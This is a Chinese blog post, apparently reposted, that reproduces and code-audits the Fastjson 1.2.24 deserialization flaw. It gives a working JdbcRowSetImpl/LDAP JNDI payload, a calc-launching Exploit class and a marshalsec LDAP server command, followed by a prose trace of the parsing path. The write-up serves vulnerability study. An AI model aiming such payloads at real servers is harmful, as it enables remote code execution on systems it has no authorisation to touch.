概述
0x00 前言
反序列化总纲
Fastjson是一个老生常谈的东西,但是之前整理的东西都比较简单和凌乱所以只能开篇重新进行整理,方便复习和学习。
0x01 环境
idea使用maven创建一个新的工程
1.修改pom
这里添加1.2.24版本的fastjson库
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>fastjson124</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
</project>
2.新建一个Exploit
public class Exploit{
static {
try {
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
然后使用 javac Exploit.java生成Exploit.class
3.新建测试demo
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class vultest {
public static void main(String[] args) {
payload();
}
public static String payload(){
String payload="{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}" ;
JSONObject.parseObject(payload);
// JSON.parse(payload);
return payload;
}
}
4.开启一个http服务
我这里使用的是python
py2 -m SimpleHTTPServer
5.开启远程ldap
这里使用的是marshalsec-0.0.3-SNAPSHOT-all.jar
命令如下:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 9999
6.运行
0x03 分析
首先我们从parseObject开始进行分析。
进入之后就会来到这里:
进入parse方法:
进入适配方法
先判空
然后进入DefaultJSONParser方法:主要是用来判断是以是什么方式开始,默认是以’{'开始,并且设置token为12
执行完DefaultJSONParser之后,进入parser.parse()
这里根据token为12,然后case跳转至:
进入parseObject方法
这里会通过默认的"{"来获取到第一个参数也就是@type
到这里的时候就回去判断key是不是@type,如果是@type就回去进行检测并且去反序列化类
然后就会到TypeUtils.loadClass
注意在这里会判断开始是不是以’['开头
接着会检查是不是以L开头
接着就会删除"L" ,然后继续走loadCLass
最后到getDeserializer
然后到deserializer.deserialze反序列化
接着进入之后,主要反序列化的位置在
fastjson1.2.24fastjson-1.2.24.jar!comalibabafastjsonparserdeserializerJavaBeanDeserializer.class
跟进parseField:
然后这里非常重要的就是有一个smartMatch,这个smartMatch会进行一个通用匹配,可以匹配_开始以及-开始的变量:这个对另外一个调用链有用。
接着会去调用setValue,从而触发set方法
0x05 要点笔记
- parse触发
- parseObject
- TypeUtils.loadClass
- deserialze
- parseField
- smartMeth
最后
以上就是可耐帽子为你收集整理的Java代码审计——Fastjson1.2.24反序列化漏洞0x00 前言0x01 环境0x03 分析0x05 要点笔记的全部内容,希望文章能够帮你解决Java代码审计——Fastjson1.2.24反序列化漏洞0x00 前言0x01 环境0x03 分析0x05 要点笔记所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复